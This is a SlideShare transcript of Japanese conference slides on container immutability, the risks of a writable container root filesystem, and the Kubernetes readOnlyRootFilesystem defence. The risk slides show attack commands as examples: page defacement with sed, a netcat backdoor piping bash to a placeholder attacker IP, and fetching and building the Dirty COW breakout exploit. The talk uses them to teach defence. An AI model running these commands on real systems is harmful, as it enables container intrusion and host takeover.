SlideShare uma empresa Scribd logo
1 de 73
2021/12/07
@mochizuki875
コンテナとimmutableとわたし。
あとセキュリティ。
Kubernetes Novice Tokyo #15
@mochizuki875
Name
 Keita Mochizuki(mochizuki875)
Company
 NTT DATA Corporation
Role
 Cloud Engineer
whoami
Name
 Keita Mochizuki(mochizuki875)
Company
 NTT DATA Corporation
Role
 Cloud Engineer
whoami
たぬきではなく
きつねです。
@mochizuki875
毎週金曜22:00 23:00にKubernetes/Cloud Native関連の話題をYouTube生配信にて
雑談形式で配信しています。
宣伝①
https://kubenews.connpass.com/
@mochizuki875
@antiberial
@bells17_ @it__chago
@URyo_0213
毎週金曜22:00 23:00にKubernetes/Cloud Native関連の話題をYouTube生配信にて
雑談形式で配信しています。
宣伝①
https://kubenews.connpass.com/
@mochizuki875
@antiberial
@bells17_ @it__chago
@URyo_0213
一緒にワイワイしましょう😆
ゲスト出演も絶賛募集中です!!
※ゲスト出演頂ける方は以下メンバーのTwitter DMまでご連絡頂ければと思います
2021/11/04-5に行われたCloudNative Days 2021にて登壇し、
コンテナセキュリティに関するお話をさせて頂きました。
宣伝②
動画
https://event.cloudnativedays.jp/cndt2021/talks/1187
資料
https://speakerdeck.com/mochizuki875/container-dev-security
見てね!
はじめに
コンテナについて調べていると、しばしばimmutableという言葉を目にすることがあると思います。
本日のセッションでは、コンテナとimmutableの関係、およびコンテナでimmutableな構成制御を実現
することのセキュリティ観点から見た意義について自身の解釈を元にお伝えできればと思います。
・本セッションにおいてimmutableという言葉はImmutable Infrastructureの文脈で用いています
・本発表はサイバー攻撃を肯定するものではありません
・発表内で用いるコンテナという言葉は基本的にruncで実行されるコンテナを指します
・掲載内容は個人の見解であり、所属する企業や組織の立場、戦略、意見を代表するものでは
 ありません
・記載されている会社名、商品名、またはサービス名は、各社の商標登録または商標です
はじめに
immutableとわたしの話
1. コンテナを学び始めた頃のわたし
2018年頃のボク 周りのみんな
2018年頃、コンテナ技術に初めて触れたボクは、
聞いたことのあるコンテナの特徴を得意気に話していました。
←当時使っていたアイコン
1. コンテナを学び始めた頃のわたし
コンテナって知ってる??
すげーんだぜ!
2018年頃のボク 周りのみんな
2018年頃、コンテナ技術に初めて触れたボクは、
聞いたことのあるコンテナの特徴を得意気に話していました。
1. コンテナを学び始めた頃のわたし
軽くてぇ∼
早くてぇ∼
移行性が
高くてぇ∼
2018年頃のボク 周りのみんな
2018年頃、コンテナ技術に初めて触れたボクは、
聞いたことのあるコンテナの特徴を得意気に話していました。
1. コンテナを学び始めた頃のわたし
immutableでぇ∼
2018年頃のボク 周りのみんな
2018年頃、コンテナ技術に初めて触れたボクは、
聞いたことのあるコンテナの特徴を得意気に話していました。
ん??
1. コンテナを学び始めた頃のわたし
コンテナは
immutableでぇ∼
2018年頃のボク 周りのみんな
2018年頃、コンテナ技術に初めて触れたボクは、
聞いたことのあるコンテナの特徴を得意気に話していました。
ん、ん??
コンテナ=immutable??
2. immutableとは
immutable
 (形)[imj
ú
təbəl]
 不変の、変更不可能な
mutable
 (形)[mj
ú
təbəl]
 変わりやすい、変更可能な
https://eow.alc.co.jp/
2. immutableとは
Webサーバーを例に考えてみます。
Hello Web Page!!
This Page is v1
2. immutableとは
mutable
Hello Web Page!!
This Page is v1
Webサーバーに対して変更を行う、変更が可能という考え方
Developer
v2にバージョン
アップしたい
mutable
2. immutableとは
mutable
Hello Web Page!!
This Page is v1
Webサーバーに対して変更を行う、変更が可能という考え方
root@web-server: # cp index.html /var/www/html/index.html
・・・
Developer 変更をWebサーバーに反映
既存構成に対する
変更OPを実施
mutable
2. immutableとは
mutable
Hello Web Page!!
This Page is v2
Developer
Webサーバーに対して変更を行う、変更が可能という考え方
Done
mutable
2. immutableとは
immutable
Hello Web Page!!
This Page is v1
Webサーバーに対する変更を加えない、変更が不可能という考え方
Developer
v2にバージョン
アップしたい
immutable
2. immutableとは
immutable
Hello Web Page!!
This Page is v1
immutable
Developer
Webサーバーに対する変更を加えない、変更が不可能という考え方
root@web-server: # cp index.html /var/www/html/index.html
・・・
既存構成に対して
変更は行わない/行えない
2. immutableとは
immutable
Hello Web Page!!
This Page is v1
Hello Web Page!!
This Page is v2
Developer
Webサーバーに対する変更を加えない、変更が不可能という考え方
変更を反映したサーバーを
新しく用意
immutable
immutable
新規作成
2. immutableとは
immutable
Hello Web Page!!
This Page is v1
Hello Web Page!!
This Page is v2
置き換え
Developer
Webサーバーに対する変更を加えない、変更が不可能という考え方
既存のサーバーを新しい
サーバーに置き換える
immutable
immutable
2. immutableとは
immutable
Hello Web Page!!
This Page is v1
Hello Web Page!!
This Page is v2
削除
※切り戻し用に残しておいても良い
Developer
Webサーバーに対する変更を加えない、変更が不可能という考え方
immutable
immutable
古いサーバーを削除
2. immutableとは
immutable
Hello Web Page!!
This Page is v2
Developer
Webサーバーに対する変更を加えない、変更が不可能という考え方
immutable
Done
改めまして
コンテナ=immutable??
3. コンテナはimmutableか?
コンテナの一般的なライフサイクルを踏まえ、先の例と同様のケースを考えてみます。
v1
image
Developer
Build
3. コンテナはimmutableか?
v1
Container
v1
image
Developer
Deploy
Hello Web Page!!
This Page is v1
コンテナの一般的なライフサイクルを踏まえ、先の例と同様のケースを考えてみます。
3. コンテナはimmutableか?
v1
Container
v1
image
Developer
コンテナの一般的なライフサイクルを踏まえ、先の例と同様のケースを考えてみます。
3. コンテナはimmutableか?
v1
Container
v1
image
Developer
v2
image
Build
コンテナの一般的なライフサイクルを踏まえ、先の例と同様のケースを考えてみます。
3. コンテナはimmutableか?
v1
Container
v1
image
Developer
v2
image
v2
Container
Deploy
コンテナの一般的なライフサイクルを踏まえ、先の例と同様のケースを考えてみます。
3. コンテナはimmutableか?
v1
Container
v1
image
Developer
v2
image
v2
Container
新しいコンテナに切り替え
コンテナの一般的なライフサイクルを踏まえ、先の例と同様のケースを考えてみます。
3. コンテナはimmutableか?
v1
image
Developer
v2
image
v2
Container
Hello Web Page!!
This Page is v2
コンテナの一般的なライフサイクルを踏まえ、先の例と同様のケースを考えてみます。
immutableっぽい??
3. コンテナはimmutableか?
ただし(やろうと思えば)以下のように直接コンテナ自体に変更を加えて
バージョンアップを行うことも可能です。
v1
Container
Developer
kubectl cp ./index.html web:/var/www/html/
Hello Web Page!!
This Page is v1
3. コンテナはimmutableか?
Developer
v2
Container
ただし(やろうと思えば)以下のように直接コンテナ自体に変更を加えて
バージョンアップを行うことも可能です。 Hello Web Page!!
This Page is v2
あれ?
🤔
3. コンテナはimmutableか?
そもそもなんでimmutableを実現したいか??
3. コンテナはimmutableか?
そもそもなんでimmutableを実現したいか??
 →変更の積み重ねによるトラブルを避けるため
  ex)更新の失敗、ドキュメントと実環境の差異、環境差異の発生
base
v1
※ここではmutable、immutableの一般的なメリットやデメリットには深く触れませんが、上記の観点からimmutableの考え方が推奨されている印象です。
3. コンテナはimmutableか?
そもそもなんでimmutableを実現したいか??
 →変更の積み重ねによるトラブルを避けるため
  ex)更新の失敗、ドキュメントと実環境の差異、環境差異の発生
base base
di
ff
_1
v1 v2
変更
(di
ff
_1)
※ここではmutable、immutableの一般的なメリットやデメリットには深く触れませんが、上記の観点からimmutableの考え方が推奨されている印象です。
3. コンテナはimmutableか?
そもそもなんでimmutableを実現したいか??
 →変更の積み重ねによるトラブルを避けるため
  ex)更新の失敗、ドキュメントと実環境の差異、環境差異の発生
base base
di
ff
_1
base
di
ff
_1
di
ff
_2
v1 v2 v3
変更
(di
ff
_1)
変更
(di
ff
_2)
※ここではmutable、immutableの一般的なメリットやデメリットには深く触れませんが、上記の観点からimmutableの考え方が推奨されている印象です。
3. コンテナはimmutableか?
そもそもなんでimmutableを実現したいか??
 →変更の積み重ねによるトラブルを避けるため
  ex)更新の失敗、ドキュメントと実環境の差異、環境差異の発生
base base
di
ff
_1
base
di
ff
_1
di
ff
_2
v1 v2 v3
変更
(di
ff
_1)
変更
(di
ff
_2)
変更
(di
ff
_3)
これまでの変更差分の積み重ね
により変更を反映できない
※ここではmutable、immutableの一般的なメリットやデメリットには深く触れませんが、上記の観点からimmutableの考え方が推奨されている印象です。
3. コンテナはimmutableか?
immutableという言葉は以下2つの意味で用いられる印象。
①変更を加えない(不変の)
②変更を加えさせない(変更不可能な)
構成管理
構成制御
3. コンテナはimmutableか?
immutableという言葉は以下2つの意味で用いられる印象。
①変更を加えない(不変の)
②変更を加えさせない(変更不可能な)
コンテナの一般的なライフサイクルはこれに準じており、
それに則って使えばコンテナはimmutableであると言える
一般的にはコンテナは変更可能でありimmutableであるとは言えない
※因みにコンテナイメージはこの文脈でもimmutableと言える
構成管理
構成制御
コンテナはimmutableな構成管理
を実現する上で有効な手段
3. コンテナはimmutableか?
イケてる新入社員くん
コンテナを勉強し始めたばかりの新入社員くんに聞いてみました!
3. コンテナはimmutableか?
イケてる新入社員くん
流石!!
ちゃんと理解していらっしゃいました・・・・
コンテナを勉強し始めたばかりの新入社員くんに聞いてみました!
3. コンテナはimmutableか?
Kubernetes Novice Tokyo #14
0から始めるコンテナの学び方(@kencatan)
資料
https://www.slideshare.net/nttdata-tech/how-to-learn-container-k8s-novice-tokyo-14-nttdata
動画
https://www.youtube.com/watch?v=KR3jYYt8cJo
そんなイケてる新入社員くんの発表はこちら!
これからコンテナを学び始める人や
誰かにコンテナを教える人には
良い参考になる内容だと思います!
あとセキュリティの話
4. immutableとセキュリティ
コンテナはimmutableな構成管理を実現する上で有効な手段ではありつつも、
構成制御の観点からはimmutableであるとは言えません。
コンテナ(のrootfs)が変更可能であることは、immutableな構成管理の実現の妨げになることに加え、
セキュリティリスクにもなり得ると言えます。
※厳密には「コンテナのrootfsが変更不可能=コンテナが変更不可能」ではありません。
 しかしながらコンテナのrootfsの変更可否はコンテナの変更可否(immutableな構成制御)に密接に関わってきます。
以降ではコンテナ(のrootfs)が変更可能であった場合に、
具体的にどのようなリスクが発生し得るか代表例を示します。
4. immutableとセキュリティ
例えば以下のようにWebサービスを提供するコンテナがあるとします。
リスク①:コンテナ内コンテンツの改竄が可能
Container Host(Worker Node #1)
Web
User
index.html
4. immutableとセキュリティ
例えば以下のようにWebサービスを提供するコンテナがあるとします。
リスク①:コンテナ内コンテンツの改竄が可能
Container Host(Worker Node #1)
Web
User
index.html
4. immutableとセキュリティ
リスク①:コンテナ内コンテンツの改竄が可能
Container Host(Worker Node #1)
Web
Attacker
Webサービスを提供するコンテナに攻撃者が何らかの手段により侵入できたとします。
コンテナのrootfsは変更可能なのでWebコンテンツを提供するファイルを編集することができます。
sudo sed -i -e 's/https://www.katacoda.com/courses/kubernetes/https://www.gachiwaru.com/' /var/www/html/index.html
コンテナ(攻撃者端末から侵入)
index.html
Webコンテンツの
改竄
4. immutableとセキュリティ
攻撃者による改竄が行われた後、ユーザーが再度Webサイトを訪れると・・・
リスク①:コンテナ内コンテンツの改竄が可能
Container Host(Worker Node #1)
Web
User
index.html
4. immutableとセキュリティ
攻撃者によりコンテンツが改竄されていたことで、悪意のあるサイトに誘導されてしまいました。
リスク①:コンテナ内コンテンツの改竄が可能
Container Host(Worker Node #1)
Web
User
index.html
4. immutableとセキュリティ
リスク②:コンテナホスト上に悪意のあるファイルを配置可能
Container Host(Worker Node #1)
Web
Attacker
攻撃者によりコンテナに侵入され、悪意のあるファイルを作成されたとします。
コンテナ(攻撃者端末から侵入)
cmd
cat <<EOF > /cmd
#!/bin/sh
nc -l 9023 ¦ bash ¦ nc <攻撃端末IP> 8023
EOF
# chmod +x /cmd
cat
プログラムを作成
cmd
コンテナホストにバックドアを仕掛けるコマンド
4. immutableとセキュリティ
リスク②:コンテナホスト上に悪意のあるファイルを配置可能
Container Host(Worker Node #1)
Web
Attacker
cmd
コンテナ内で作成されたファイルの実体は、ホスト上の特定ディレクトリに存在することになります。
これはコンテナのrootfsがホスト上のOverlayFSからマウントされているためです。
cmd
Overlayfs
Upperdir
Lowerdir(Layer1)
Lowerdir(Layer2)
work
cmd
実体はホスト上の
Overlayfsに存在
mount -t overlay
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/87/fs:/var/lib/containerd/
io.containerd.snapshotter.v1.overlayfs/snapshots/58/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/57/fs:/var/lib/containerd/
io.containerd.snapshotter.v1.overlayfs/snapshots/56/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/55/fs:/var/lib/containerd/
io.containerd.snapshotter.v1.overlayfs/snapshots/54/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/53/fs:/var/lib/containerd/
io.containerd.snapshotter.v1.overlayfs/snapshots/52/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/51/fs,upperdir=/var/lib/containerd/
io.containerd.snapshotter.v1.overlayfs/snapshots/92/fs,workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/92/work,xino=o
ff
)
悪意のあるファイルが
ホストに配置された
コンテナ(攻撃者端末から侵入)
ls /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/92/fs
cmd etc root run var
コンテナホスト
4. immutableとセキュリティ
リスク①②を踏まえた具体的な攻撃事例を知りたい方は、
以下セッション内で解説していますので宜しければご視聴下さい(2回目)
動画
https://event.cloudnativedays.jp/cndt2021/talks/1187
資料
https://speakerdeck.com/mochizuki875/container-dev-security
4. immutableとセキュリティ
リスク③:コンテナ内への不正なプログラムのDLが可能
Container Host(Worker Node #1)
Web
Attacker
コンテナ内での変更が可能ということは、パッケージ管理ツール(aptやyum)を使って任意の
コマンドをコンテナ内にインストールしたり、悪意のあるプログラムをコンテナ内に配置し実行
することが可能になります。
apt-get install -y git
git clone https://github.com/scumjr/dirtycow-vdso.git /dirtycow-vdso
cd /dirtycow-vdso
make
・・・
コンテナ(攻撃者端末から侵入)
dirtycow-vdso
悪意のあるプログラムを
DLして実行
4. immutableとセキュリティ
リスク③:コンテナ内への不正なプログラムのDLが可能
Container Host(Worker Node #1)
Web
Attacker
その結果、コンテナからホストへの侵入(Container Breakout)を許してしまうなど、
更なる攻撃に繋げられてしまうリスクがあります。
hostname
k8s-cluster1-worker01
id
uid=0(root) gid=0(root) groups=0(root)
コンテナ(攻撃者端末から侵入)
コンテナホストへの
権限を奪取
dirtycow-vdso
Container Breakout
4. immutableとセキュリティ
(参考)Dirty COW
リスク③の例ではDirty COW(CVE-2016-5195)と呼ばれるコンテナホストの脆弱性を利用した
攻撃の例を示しています。
これはコンテナホストのカーネルにv4.8.3以前のものを使用している場合、
コンテナ内で所定のコードを実行するとコンテナホストの特権を取得できるというものです。
Dirty COW - (CVE-2016-5195) - Docker Container Escape
https://blog.paranoidsoftware.com/dirty-cow-cve-2016-5195-docker-container-escape/
PoC(scumjr/dirtycow-vdso)
https://github.com/scumjr/dirtycow-vdso
動画(Dirty COW Docker Escape)
https://www.youtube.com/watch?v=BwUfHJXgYg0
どうやって防ぐか??
5. コンテナのrootfsをReadOnlyにする
コンテナ(のrootfs)が変更可能という状態はセキュリティリスクになり得ると言えます。
言い換えればimmutableな構成制御の実現はセキュリティの観点からも意義があると言えます。
(Not Only 構成管理)
以降では先に示したリスクへの対策として
コンテナのrootfsをReadOnlyとする手段をご紹介します。
コンテナのrootfsをReadOnlyとすべき旨は一般的なコンテナセキュリティのプラクティスでも述べられています。
 NIST SP800-190 アプリケーションコンテナセキュリティガイド(IPA日本語翻訳版)
 https://www.ipa.go.jp/
fi
les/000085279.pdf
 NSA CISA Kubernetes Hardening Guidance (Kubernetes Pod security )
 https://media.defense.gov/2021/Aug/03/2002820425/-1/-1/1/CTR_KUBERNETES%20HARDENING%20GUIDANCE.PDF
5. コンテナのrootfsをReadOnlyにする
Kubernetesではコンテナの起動設定にてコンテナのrootfsをReadOnlyに設定することが可能です。
こうすることで、コンテナ内でのrootfsに対する書き込みを伴う操作が禁止され、
セキュリティレベルを高めることに繋がります。
apiVersion: v1
kind: Pod
metadata:
labels:
run: ubuntu-readonly
name: ubuntu-readonly
spec:
containers:
- image: ubuntu:20.04
name: ubuntu-readonly
command: ["/bin/sh", "-c", "while :; do sleep 10; done"]
securityContext:
readOnlyRootFilesystem: true
ubuntu-immutable.yml
root@ubuntu-readonly:/# apt-get install -y git
・・・
W: Not using locking for read only lock
fi
le /var/lib/dpkg/lock-frontend
W: Not using locking for read only lock
fi
le /var/lib/dpkg/lock
E: Unable to locate package git
root@ubuntu-readonly:/# cat <<EOF > /cmd
・・・
bash: cannot create temp
fi
le for here-document: Read-only
fi
le system
Container Host(Worker Node #1)
ubuntu-readonly
cmd
rootfs(/) process
bin
root
local/apache2/logs
usr
・
・
・
mount
rootfs(/)
overlayfs
ReadOnly
コンテナのrootfsをROに設定
Write
5. コンテナのrootfsをReadOnlyにする
しかしながらコンテナの挙動によっては、rootfsへの書き込みが禁止されていると正常にコンテナが起動できない
場合もあります。httpdのようにコンテナプロセスがrootfs配下の特定ディレクトリにファイルを出力する動作をする場合は、
rootfsがReadOnlyだとコンテナを起動することができません。
apiVersion: v1
kind: Pod
metadata:
labels:
run: httpd-readonly
name: httpd-readonly
spec:
containers:
- image: httpd:2.4.51
name: httpd-readonly
securityContext:
readOnlyRootFilesystem: true
httpd-readonly.yml
››› kubectl get po httpd-readonly
NAME READY STATUS RESTARTS AGE
httpd-readonly 0/1 Error 4 (59s ago) 116s
››› kubectl logs httpd-readonly
AH00558: httpd: Could not reliably determine the server's fully quali
fi
ed domain name, using 10.0.233.55. Set the 'ServerName' directive globally to suppress this message
AH00558: httpd: Could not reliably determine the server's fully quali
fi
ed domain name, using 10.0.233.55. Set the 'ServerName' directive globally to suppress this message
[Sat Nov 13 16:37:16.913895 2021] [core:error] [pid 1:tid 139972664941888] (30)Read-only
fi
le system: AH00099: could not create /usr/local/apache2/logs/httpd.pid.iuTncf
[Sat Nov 13 16:37:16.913965 2021] [core:error] [pid 1:tid 139972664941888] AH00100: httpd: could not log pid to
fi
le /usr/local/apache2/logs/httpd.pid
Container Host(Worker Node #1)
httpd-readonly
cmd
rootfs(/) process
bin
root
local/apache2/logs
usr
・
・
・
mount
ReadOnly
ReadOnly
コンテナのrootfsをROに設定
rootfs(/)
overlayfs
Write
Write
5. コンテナのrootfsをReadOnlyにする
対策として、rootfsはReadOnlyとしつつコンテナプロセスが書き込みを行う必要があるディレクトリのみ
ReadWiteでVolume Mountを行うという方法が考えられます。
以下ではコンテナ起動時に対象ディレクトリに対してemptyDir(一時的なボリューム)を作成&マウントしています。
apiVersion: v1
kind: Pod
metadata:
labels:
run: httpd-readonly
name: httpd-readonly
spec:
containers:
- image: httpd:2.4.51
name: httpd-readonly
securityContext:
readOnlyRootFilesystem: true
volumeMounts:
- name: log-volume
mountPath: /usr/local/apache2/logs/
volumes:
- name: log-volume
emptyDir: {}
››› kubectl get po httpd-readonly
NAME READY STATUS RESTARTS AGE
httpd-readonly 1/1 Running 0 2m33s
Container Host(Worker Node #1)
httpd-readonly
cmd
rootfs(/) process
bin
root
local/apache2/logs
usr
・
・
・
mount
log-volume
mount
ReadOnly
ReadWriteで
Volume Mount
httpd-readonly.yml
コンテナのrootfsをROに設定
書き込みが必要が領域を
emptyDirにマウント
rootfs(/)
overlayfs
Write
6. まとめ
immutableという言葉の考え方
 ・構成管理と構成制御の観点がある
 ・コンテナはimmutableな構成管理を実現する有効な手段
コンテナが変更可能であることのリスクと対策
 ・コンテナ(のrootfs)が変更可能であることのリスクをお伝えしました
 ・コンテナでimmutableな構成制御を実現する1手段であるreadOnlyRootFilesystemについてお伝えしました
Kubernetes完全ガイド 第2版
https://book.impress.co.jp/books/1119101148
Certi
fi
ed Kubernetes Security Specialist (CKS)
https://kodekloud.com/courses/certi
fi
ed-kubernetes-security-specialist-cks/
Container Security Book
https://container-security.dev/security/breakout-to-host.html
Docker/Kubernetes 開発・運用のためのセキュリティ実践ガイド
https://book.mynavi.jp/ec/products/detail/id=114099
コンテナ技術入門 - 仮想化との違いを知り、要素技術を触って学ぼう
https://eh-career.com/engineerhub/entry/2019/02/05/103000
参考
初めてのコミュニティ登壇として最適な場だと思います!
みなさんも是非登壇にチャレンジしてみてください!
Thank You!!

Mais conteúdo relacionado

Mais procurados

Mais procurados (20)

NTTデータ流Infrastructure as Code~ 大規模プロジェクトを通して考え抜いた基盤自動化の新たな姿~(NTTデータ テクノロジーカンフ...
NTTデータ流Infrastructure as Code~ 大規模プロジェクトを通して考え抜いた基盤自動化の新たな姿~(NTTデータ テクノロジーカンフ...NTTデータ流Infrastructure as Code~ 大規模プロジェクトを通して考え抜いた基盤自動化の新たな姿~(NTTデータ テクノロジーカンフ...
NTTデータ流Infrastructure as Code~ 大規模プロジェクトを通して考え抜いた基盤自動化の新たな姿~(NTTデータ テクノロジーカンフ...
 
インフラCICDの勘所
インフラCICDの勘所インフラCICDの勘所
インフラCICDの勘所
 
分散トレーシング技術について(Open tracingやjaeger)
分散トレーシング技術について(Open tracingやjaeger)分散トレーシング技術について(Open tracingやjaeger)
分散トレーシング技術について(Open tracingやjaeger)
 
AWSとオンプレミスを繋ぐときに知っておきたいルーティングの基礎知識(CCSI監修!)
AWSとオンプレミスを繋ぐときに知っておきたいルーティングの基礎知識(CCSI監修!)AWSとオンプレミスを繋ぐときに知っておきたいルーティングの基礎知識(CCSI監修!)
AWSとオンプレミスを繋ぐときに知っておきたいルーティングの基礎知識(CCSI監修!)
 
コンテナ未経験新人が学ぶコンテナ技術入門
コンテナ未経験新人が学ぶコンテナ技術入門コンテナ未経験新人が学ぶコンテナ技術入門
コンテナ未経験新人が学ぶコンテナ技術入門
 
kube-system落としてみました
kube-system落としてみましたkube-system落としてみました
kube-system落としてみました
 
DockerとPodmanの比較
DockerとPodmanの比較DockerとPodmanの比較
DockerとPodmanの比較
 
At least onceってぶっちゃけ問題の先送りだったよね #kafkajp
At least onceってぶっちゃけ問題の先送りだったよね #kafkajpAt least onceってぶっちゃけ問題の先送りだったよね #kafkajp
At least onceってぶっちゃけ問題の先送りだったよね #kafkajp
 
マイクロサービス 4つの分割アプローチ
マイクロサービス 4つの分割アプローチマイクロサービス 4つの分割アプローチ
マイクロサービス 4つの分割アプローチ
 
ストリーム処理を支えるキューイングシステムの選び方
ストリーム処理を支えるキューイングシステムの選び方ストリーム処理を支えるキューイングシステムの選び方
ストリーム処理を支えるキューイングシステムの選び方
 
その Pod 突然落ちても大丈夫ですか!?(OCHaCafe5 #5 実験!カオスエンジニアリング 発表資料)
その Pod 突然落ちても大丈夫ですか!?(OCHaCafe5 #5 実験!カオスエンジニアリング 発表資料)その Pod 突然落ちても大丈夫ですか!?(OCHaCafe5 #5 実験!カオスエンジニアリング 発表資料)
その Pod 突然落ちても大丈夫ですか!?(OCHaCafe5 #5 実験!カオスエンジニアリング 発表資料)
 
[社内勉強会]ELBとALBと数万スパイク負荷テスト
[社内勉強会]ELBとALBと数万スパイク負荷テスト[社内勉強会]ELBとALBと数万スパイク負荷テスト
[社内勉強会]ELBとALBと数万スパイク負荷テスト
 
PFNのML/DL基盤を支えるKubernetesにおける自動化 / DevOpsDays Tokyo 2021
PFNのML/DL基盤を支えるKubernetesにおける自動化 / DevOpsDays Tokyo 2021PFNのML/DL基盤を支えるKubernetesにおける自動化 / DevOpsDays Tokyo 2021
PFNのML/DL基盤を支えるKubernetesにおける自動化 / DevOpsDays Tokyo 2021
 
実運用して分かったRabbit MQの良いところ・気をつけること #jjug
実運用して分かったRabbit MQの良いところ・気をつけること #jjug実運用して分かったRabbit MQの良いところ・気をつけること #jjug
実運用して分かったRabbit MQの良いところ・気をつけること #jjug
 
わかる!metadata.managedFields / Kubernetes Meetup Tokyo 48
わかる!metadata.managedFields / Kubernetes Meetup Tokyo 48わかる!metadata.managedFields / Kubernetes Meetup Tokyo 48
わかる!metadata.managedFields / Kubernetes Meetup Tokyo 48
 
どうやって決める?kubernetesでのシークレット管理方法(Cloud Native Days 2020 発表資料)
どうやって決める?kubernetesでのシークレット管理方法(Cloud Native Days 2020 発表資料)どうやって決める?kubernetesでのシークレット管理方法(Cloud Native Days 2020 発表資料)
どうやって決める?kubernetesでのシークレット管理方法(Cloud Native Days 2020 発表資料)
 
Python 3.9からの新定番zoneinfoを使いこなそう
Python 3.9からの新定番zoneinfoを使いこなそうPython 3.9からの新定番zoneinfoを使いこなそう
Python 3.9からの新定番zoneinfoを使いこなそう
 
PostgreSQLレプリケーション10周年!徹底紹介!(PostgreSQL Conference Japan 2019講演資料)
PostgreSQLレプリケーション10周年!徹底紹介!(PostgreSQL Conference Japan 2019講演資料)PostgreSQLレプリケーション10周年!徹底紹介!(PostgreSQL Conference Japan 2019講演資料)
PostgreSQLレプリケーション10周年!徹底紹介!(PostgreSQL Conference Japan 2019講演資料)
 
SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021
 
CloudNativePGを動かしてみた! ~PostgreSQL on Kubernetes~(第34回PostgreSQLアンカンファレンス@オンライ...
CloudNativePGを動かしてみた! ~PostgreSQL on Kubernetes~(第34回PostgreSQLアンカンファレンス@オンライ...CloudNativePGを動かしてみた! ~PostgreSQL on Kubernetes~(第34回PostgreSQLアンカンファレンス@オンライ...
CloudNativePGを動かしてみた! ~PostgreSQL on Kubernetes~(第34回PostgreSQLアンカンファレンス@オンライ...
 

Mais de NTT DATA Technology & Innovation

Mais de NTT DATA Technology & Innovation (20)

NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
 
OSSデータベースの開発コミュニティに参加しよう! (DEIM2024 発表資料)
OSSデータベースの開発コミュニティに参加しよう! (DEIM2024 発表資料)OSSデータベースの開発コミュニティに参加しよう! (DEIM2024 発表資料)
OSSデータベースの開発コミュニティに参加しよう! (DEIM2024 発表資料)
 
COPY FROMで異常データをスキップできるようになった話(第45回 PostgreSQLアンカンファレンス@オンライン 発表資料)
COPY FROMで異常データをスキップできるようになった話(第45回 PostgreSQLアンカンファレンス@オンライン 発表資料)COPY FROMで異常データをスキップできるようになった話(第45回 PostgreSQLアンカンファレンス@オンライン 発表資料)
COPY FROMで異常データをスキップできるようになった話(第45回 PostgreSQLアンカンファレンス@オンライン 発表資料)
 
Cloud Skills Challenge 2023 winter 〜Azureを頑張る理由と頑張り方
Cloud Skills Challenge 2023 winter 〜Azureを頑張る理由と頑張り方Cloud Skills Challenge 2023 winter 〜Azureを頑張る理由と頑張り方
Cloud Skills Challenge 2023 winter 〜Azureを頑張る理由と頑張り方
 
Unlocking Transformation: Implementing GitOps Practices in Conservative Organ...
Unlocking Transformation: Implementing GitOps Practices in Conservative Organ...Unlocking Transformation: Implementing GitOps Practices in Conservative Organ...
Unlocking Transformation: Implementing GitOps Practices in Conservative Organ...
 
Databricksチューニングあれこれ(JEDAI 2023 X‘mas/忘年会 Meetup! LT登壇資料)
Databricksチューニングあれこれ(JEDAI 2023 X‘mas/忘年会 Meetup! LT登壇資料)Databricksチューニングあれこれ(JEDAI 2023 X‘mas/忘年会 Meetup! LT登壇資料)
Databricksチューニングあれこれ(JEDAI 2023 X‘mas/忘年会 Meetup! LT登壇資料)
 
詳説探究!Cloud Native Databaseの現在地点(CloudNative Days Tokyo 2023 発表資料)
詳説探究!Cloud Native Databaseの現在地点(CloudNative Days Tokyo 2023 発表資料)詳説探究!Cloud Native Databaseの現在地点(CloudNative Days Tokyo 2023 発表資料)
詳説探究!Cloud Native Databaseの現在地点(CloudNative Days Tokyo 2023 発表資料)
 
今、改めて考えるPostgreSQLプラットフォーム - マルチクラウドとポータビリティ -(PostgreSQL Conference Japan 20...
今、改めて考えるPostgreSQLプラットフォーム - マルチクラウドとポータビリティ -(PostgreSQL Conference Japan 20...今、改めて考えるPostgreSQLプラットフォーム - マルチクラウドとポータビリティ -(PostgreSQL Conference Japan 20...
今、改めて考えるPostgreSQLプラットフォーム - マルチクラウドとポータビリティ -(PostgreSQL Conference Japan 20...
 
速習! PostgreSQL専用HAソフトウェア: Patroni(PostgreSQL Conference Japan 2023 発表資料)
速習! PostgreSQL専用HAソフトウェア: Patroni(PostgreSQL Conference Japan 2023 発表資料)速習! PostgreSQL専用HAソフトウェア: Patroni(PostgreSQL Conference Japan 2023 発表資料)
速習! PostgreSQL専用HAソフトウェア: Patroni(PostgreSQL Conference Japan 2023 発表資料)
 
pgvectorを使ってChatGPTとPostgreSQLを連携してみよう!(PostgreSQL Conference Japan 2023 発表資料)
pgvectorを使ってChatGPTとPostgreSQLを連携してみよう!(PostgreSQL Conference Japan 2023 発表資料)pgvectorを使ってChatGPTとPostgreSQLを連携してみよう!(PostgreSQL Conference Japan 2023 発表資料)
pgvectorを使ってChatGPTとPostgreSQLを連携してみよう!(PostgreSQL Conference Japan 2023 発表資料)
 
マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)
マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)
マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)
 
最新機能までを総ざらい!PostgreSQLの注目機能を振り返る(第32回 中国地方DB勉強会 in 岡山 発表資料)
